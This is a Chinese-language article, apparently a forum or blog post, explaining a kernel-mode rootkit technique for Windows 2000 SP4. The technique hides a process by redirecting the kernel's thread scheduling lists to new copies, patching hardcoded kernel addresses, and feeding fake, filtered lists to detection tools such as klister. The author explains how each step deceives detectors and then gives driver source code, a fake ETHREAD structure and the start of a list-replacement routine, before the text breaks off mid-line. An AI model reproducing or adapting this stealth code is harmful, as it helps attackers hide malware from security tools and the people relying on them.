一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用3条调度链表KiWaitInListHead=0x80482258 、KiWaitOutListhead=0x80482808 、KiDispatcherReadyListHead=0x804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。
首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0x8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个0x804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:
#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"
typedef struct _DEVICE_EXTENSION {
HANDLE
hWorkerThread;
KEVENT
ExitEvent;
PDEVICE_OBJECT
pDeviceObject;
BOOLEAN
bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER
Header;
LIST_ENTRY
MutantListHead;
PVOID
InitialStack;
PVOID
StackLimit;
struct _TEB
*Teb;
PVOID
TlsArray;
PVOID
KernelStack;
BOOLEAN
DebugActive;
UCHAR
State;
USHORT
Alerted;
UCHAR
Iopl;
UCHAR
NpxState;
UCHAR
Saturation;
UCHAR
Priority;
KAPC_STATE
ApcState;
ULONG
ContextSwitches;
NTSTATUS
WaitStatus;
UCHAR
WaitIrql;
UCHAR
WaitMode;
UCHAR
WaitNext;
UCHAR
WaitReason;
PKWAIT_BLOCK
WaitBlockList;
LIST_ENTRY
WaitListEntry;
ULONG
WaitTime;
UCHAR
BasePriority;
UCHAR
DecrementCount;
UCHAR
PriorityDecrement;
UCHAR
Quantum;
KWAIT_BLOCK
WaitBlock[4];
ULONG
LegoData;
ULONG
KernelApcDisable;
ULONG
UserAffinity;
BOOLEAN
SystemAffinityActive;
UCHAR
PowerState;
UCHAR
NpxIrql;
UCHAR
Pad[1];
PSERVICE_DESCRIPTOR_TABLE
ServiceDescriptorTable;
PKQUEUE
Queue;
KSPIN_LOCK
ApcQueueLock;
KTIMER
Timer;
LIST_ENTRY
QueueListEntry;
ULONG
Affinity;
BOOLEAN
Preempted;
BOOLEAN
ProcessReadyQueue;
BOOLEAN
KernelStackResident;
UCHAR
NextProcessor;
PVOID
CallbackStack;
PVOID
Win32Thread;
PKTRAP_FRAME
TrapFrame;
PKAPC_STATE
ApcStatePointer[2];
UCHAR
PreviousMode;
BOOLEAN
EnableStackSwap;
BOOLEAN
LargeStack;
UCHAR
ResourceIndex;
ULONG
KernelTime;
ULONG
UserTime;
KAPC_STATE
SavedApcState;
BOOLEAN
Alertable;
UCHAR
ApcStateIndex;
BOOLEAN
ApcQueueable;
BOOLEAN
AutoAlignment;
PVOID
StackBase;
KAPC
SuspendApc;
KSEMAPHORE
SuspendSemaphore;
LIST_ENTRY
ThreadListEntry;
UCHAR
FreezeCount;
UCHAR
SuspendCount;
UCHAR
IdealProcessor;
BOOLEAN
DisableBoost;
LARGE_INTEGER
CreateTime;
union {
LARGE_INTEGER
ExitTime;
LIST_ENTRY
LpcReplyChain;
};
union {
NTSTATUS
ExitStatus;
PVOID
OfsChain;
};
LIST_ENTRY
PostBlockList;
LIST_ENTRY
TerminationPortList;
KSPIN_LOCK
ActiveTimerListLock;
LIST_ENTRY
ActiveTimerListHead;
CLIENT_ID
Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListH